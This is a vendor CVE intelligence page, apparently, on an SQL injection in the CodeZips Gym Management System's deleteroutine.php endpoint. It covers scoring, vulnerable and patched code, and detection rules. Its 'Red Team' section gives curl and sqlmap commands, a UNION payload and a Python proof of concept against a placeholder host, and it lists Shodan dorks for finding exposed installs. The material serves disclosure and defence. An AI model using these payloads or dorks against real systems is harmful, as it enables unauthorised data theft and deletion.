☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-29208

CVE-2025-29208 SQL Injection in Codezips
📅 PUBLISHED: 2025-04-01 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-29208 identifies a critical SQL injection vulnerability in the CodeZips Gym Management System v1.0. The flaw resides in the name parameter within /dashboard/admin/deleteroutine.php. An unauthenticated attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is Critical (9.8). No official patch exists, and the vendor has not acknowledged the issue. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) None (N)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) High (H)
Availability (A) High (H)
Base Score 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the name parameter of the deleteroutine.php script. The application likely constructs a SQL query by directly concatenating user input without sanitization or parameterized queries.

Vulnerable Code Snippet (Conceptual):

$name = $_GET['name'];
$sql = "DELETE FROM routines WHERE name = '$name'";
$result = mysqli_query($conn, $sql);

An attacker can inject a payload like:

' OR '1'='1

This would delete all routines. More advanced payloads can extract data, enumerate the database, or execute system commands via xp_cmdshell (if SQL Server is used) or INTO OUTFILE (if MySQL is used).

Attack Flow:

  1. Attacker sends a crafted HTTP GET request to /dashboard/admin/deleteroutine.php?name=[payload].
  2. The payload is injected into the SQL query.
  3. The database executes the malicious query.
  4. Attacker retrieves data or performs unauthorized actions.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$name = $_GET['name'];
$sql = "DELETE FROM routines WHERE name = '$name'";
$result = mysqli_query($conn, $sql);

Patched Code (Using Prepared Statements):

$name = $_GET['name'];
$stmt = $conn->prepare("DELETE FROM routines WHERE name = ?");
$stmt->bind_param("s", $name);
$stmt->execute();
$result = $stmt->get_result();

Key Differences:

  • The vulnerable code directly concatenates user input.
  • The patched code uses parameterized queries, which separate SQL logic from data.
  • Input validation and output encoding should also be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running CodeZips Gym Management System v1.0.
  • Access to the /dashboard/admin/deleteroutine.php endpoint.

Exploitation Steps:

  1. Basic Injection (Boolean-Based):

    curl "http://target.com/dashboard/admin/deleteroutine.php?name=test' AND '1'='1"
    
  2. Union-Based Data Extraction:

    ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -
    
  3. Automated Exploitation with sqlmap:

    sqlmap -u "http://target.com/dashboard/admin/deleteroutine.php?name=test" --batch --dbs
    

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/dashboard/admin/deleteroutine.php"
payload = "' OR '1'='1' -- -"
params = {'name': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor for SQL injection patterns in HTTP GET parameters.
  • Look for unusual characters like single quotes ('), double dashes (--), and SQL keywords (UNION, SELECT, OR).

Mitigation:

  • Implement Web Application Firewall (WAF) rules to block SQL injection attempts.
  • Use parameterized queries in all database interactions.
  • Apply input validation and output encoding.

Hunting:

  • Search web server logs for requests to /dashboard/admin/deleteroutine.php with suspicious name parameters.
  • Correlate with database error logs for SQL syntax errors.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests to /dashboard/admin/deleteroutine.php with SQL injection payloads in the name parameter.
  • Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

  • Modified or newly created files in the web root (e.g., webshells).
  • Database dump files (e.g., dump.sql).

Log IOCs:

  • Web server logs containing SQL keywords in the name parameter.
  • Database error logs with SQL syntax errors.

Example Log Entry:

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /dashboard/admin/deleteroutine.php?name=test' OR '1'='1 HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2025_29208_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-29208"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-29208"
    strings:
        $sqli1 = /name=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/
        $sqli2 = /name=.*\b(OR|AND)\b.*['\"]/
        $sqli3 = /name=.*--\s*$/
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2025-29208
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the name parameter in deleteroutine.php
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "name='"
            - "name=\""
            - "name=*' OR"
            - "name=*' AND"
            - "name=*--"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29208 SQL Injection Attempt"; flow:to_server; content:"/dashboard/admin/deleteroutine.php"; http_uri; content:"name="; http_uri; pcre:"/name=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the affected system from the network.
  2. Apply a virtual patch using a WAF to block SQL injection patterns.
  3. Audit all database interactions for similar vulnerabilities.

Long-Term Fix:

  1. Rewrite the vulnerable code using parameterized queries (prepared statements).
  2. Implement input validation and output encoding.
  3. Conduct a full security audit of the application.

Workaround:

  • Disable the deleteroutine.php endpoint if not essential.
  • Restrict access to the admin panel via IP whitelisting or VPN.

Patch Status: No official patch available. The vendor (CodeZips) has not responded. Users are advised to apply the code fix manually or migrate to a supported solution.


Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Gym Management System"
http.html:"CodeZips Gym Management"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-29208/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.